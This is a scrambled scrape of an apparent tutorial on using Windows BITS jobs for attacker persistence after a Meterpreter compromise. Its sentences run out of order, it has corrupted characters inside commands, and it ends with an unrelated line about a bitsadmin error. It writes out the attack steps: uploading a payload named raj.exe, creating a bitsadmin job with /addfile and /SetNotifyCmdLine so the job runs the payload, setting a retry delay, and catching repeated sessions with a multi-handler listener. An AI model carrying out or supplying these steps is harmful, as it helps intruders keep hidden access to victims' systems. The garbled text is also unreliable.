![]() upload /root/raj.exe C:\īitsadmin /addfile payload "" "C:\raj.exe"īitsadmin /SetNotif圜mdLine payload C:\raj.exe NULĪnd we started the multi handler listener on the other terminal so that it can capture the session generated by the BITS Job that we just configured. Now all the commands that we ran to create the persistence previously we will run the same form here. The methods and command will remain the same just that after we uploaded the payload, we will run the shell command in meterpreter. So we need to create the BITS Job remotely. All that changed is that we lost the physical access to the system. Next Scenario, it’s not too different than the previous scenario. Now, if the configuration is correct, we will have sessions every 40 seconds. In a moment, we see that another meterpreter session spawned. We set it to the configuration that we used to create the raj.exe payload. We went back to our Kali Attacker Machine and we started a multi handler listener to grab the session that would be generated due to the BITS Job. Now, all we need is to initiate this job. We will use this option to run our payload again and again so that in a case we lose the session, upon the next execution we can get the session again. This can be set using SetMinRetryDelay Option. When a BITS download fails it can retry to download after a specific duration of time. bitsadmin /SetNotif圜mdLine payload C:\raj.exe NUL We will use this command to execute the payload that we uploaded earlier with the help of a meterpreter. This was meant so that any prompt can be generated while downloading an update or some other task can be done simultaneously to the download. bitsadmin /addfile payload "" "C:\raj.exe"īITS Jobs can run a command upon the execution of its jobs. ![]() It can be anything as it has no role except fulfill the configuration requirements of BITSAdmin. It needs to add a file into its configuration before it can move forward. Now, as the BITS Jobs were created to transfer or mostly download files from the Microsoft Servers or any other server for that matter. It is the tool that handles all the BIT Jobs. We will execute all these commands using BITSAdmin. Since we have the physical access of the system in this scenario, we will be using a command prompt for the following steps.įirst, we will be creating a job named payload. We will configure a BITS Job to execute it at some intervals of time. Now, we have the payload named “raj.exe”. ![]() After gaining the meterpreter session, upload a payload to the target system which will get us the persistence session. In this scenario, we are going to assume the physical access of the target system as well as the meterpreter session on it. Read more about BITS Jobs form our dedicated article here. BITS can handle network interruptions, pausing and automatically resuming transfers, even after a reboot. It takes the cost of the transfer into account, as well as the network usage so that the user’s foreground work is not influenced. BITSAdmin is used to download files from or upload files to HTTP web servers and SMB file shares. When BITS downloads a file, the actual download is done behind the svchost.exe service. Windows 7 introduced Branch Cache Method for the BITS Transfer. Subsequent year was the release of the Windows Server 2008, it introduced the File Transfer Notification Method. ![]() With the release of Windows Vista, we had some more additional features like Custom HTTP headers, Certificate-based client authentication, IPv6 support. The Upload option of the BITSAdmin was introduced with the release of Windows Server 2003. At that time, it used the IBackgroundCopyJob as its interface. BITSAdmin was released with the Windows XP. Table of Contentīackground Intelligent Transfer Service Admin is a command-line tool that creates downloads or uploads jobs and monitors their progress. Here is the logfile.In this article, we are going to describe the ability of the Bits Job process to provide persistent access to the Target Machine. Bitsadmin lists an error with downloading 10 jobs and it says unable to cancel when you run reset. ![]()
